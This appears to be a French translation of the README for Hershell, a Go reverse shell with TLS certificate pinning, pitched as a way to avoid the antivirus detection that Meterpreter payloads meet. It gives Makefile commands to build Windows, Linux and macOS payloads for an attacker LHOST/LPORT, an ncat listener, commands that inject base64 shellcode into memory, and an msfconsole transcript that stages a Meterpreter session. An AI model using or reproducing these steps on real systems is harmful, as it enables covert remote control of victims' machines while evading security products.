
Hershell est un simple reverse shell TCP écrit en Go.
NOTE : le projet a été forké sur ce dépôt, vérifiez-y les autres développements.
Hershell est un reverse shell TCP simple écrit en Go.
Il utilise TLS pour sécuriser les communications et fournit une fonction d'ancrage de l'empreinte de la clé publique du certificat, empêchant l'interception du trafic.
Les systèmes d'exploitation pris en charge sont :
Bien que les payloads meterpreter soient excellents, ils sont parfois détectés par les produits antivirus.
L'objectif de ce projet est d'obtenir un reverse shell simple, pouvant fonctionner sur plusieurs systèmes.
Étant écrit en Go, vous pouvez compiler le code source de manière croisée pour l'architecture souhaitée.
Comme il s'agit d'un projet Go, vous devrez suivre la documentation officielle pour configurer
votre environnement Golang (avec la variable d'environnement $GOPATH).
Ensuite, exécutez simplement go get github.com/sysdream/hershell pour récupérer le projet.
Pour simplifier les choses, vous pouvez utiliser le Makefile fourni. Vous pouvez définir les variables d'environnement suivantes :
GOOS : le système d'exploitation cibleGOARCH : l'architecture cibleLHOST : l'adresse IP ou le nom de domaine de l'attaquantLPORT : le port d'écoutePour les variables GOOS et GOARCH, vous pouvez obtenir les valeurs autorisées ici.
Cependant, quelques cibles d'aide sont disponibles dans le Makefile :
depends : génère le certificat serveur (nécessaire pour le reverse shell)windows32 : construit un exécutable Windows 32 bits (PE 32 bits)windows64 : construit un exécutable Windows 64 bits (PE 64 bits)linux32 : construit un exécutable Linux 32 bits (ELF 32 bits)linux64 : construit un exécutable Linux 64 bits (ELF 64 bits)macos32 : construit un exécutable Mac OS 32 bits (Mach-O)macos64 : construit un exécutable Mac OS 64 bits (Mach-O)Pour ces cibles, il vous suffit de définir les variables d'environnement LHOST et LPORT.
Une fois exécuté, vous obtiendrez un shell distant.
Ce shell interactif personnalisé vous permettra d'exécuter des commandes système via cmd.exe sur Windows, ou /bin/sh sur les machines UNIX.
Les commandes spéciales suivantes sont prises en charge :
run_shell : vous donne un shell système (vous permettant, par exemple, de changer de répertoire)inject <base64 shellcode> : injecte un shellcode (encodé en base64) dans la mémoire du même processus, et l'exécute (Windows uniquement pour le moment).meterpreter [tcp|http|https] IP:PORT : se connecte à un multi/handler pour obtenir un meterpreter stage2 reverse tcp, http ou https depuis metasploit, et exécute le shellcode en mémoire (Windows uniquement pour le moment)exit : quitte proprementTout d'abord, vous devrez générer un certificat valide :
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Pour Windows :
# Cible 32 bits prédéfinie
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Pour Linux :
# Cible 32 bits prédéfinie
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Cible 64 bits prédéfinie
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Pour Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
On peut utiliser divers outils pour gérer les connexions entrantes, tels que :
python/shell_reverse_tcp_ssl)Voici un exemple avec ncat :
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
ATTENTION : cela ne fonctionne actuellement que pour la plateforme Windows.
La mise en scène meterpreter prend actuellement en charge les payloads suivants :
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsPour utiliser le bon, spécifiez simplement le transport que vous souhaitez utiliser (tcp, http, https)
Pour utiliser la fonction de mise en scène meterpreter, démarrez simplement votre handler :
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Ensuite, dans hershell, utilisez la commande meterpreter :
[hershell]> meterpreter https 172.16.122.105:8443
Une nouvelle session meterpreter devrait apparaître dans msfconsole :
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Ronan Kervella <r.kervella -at- sysdream -dot- com>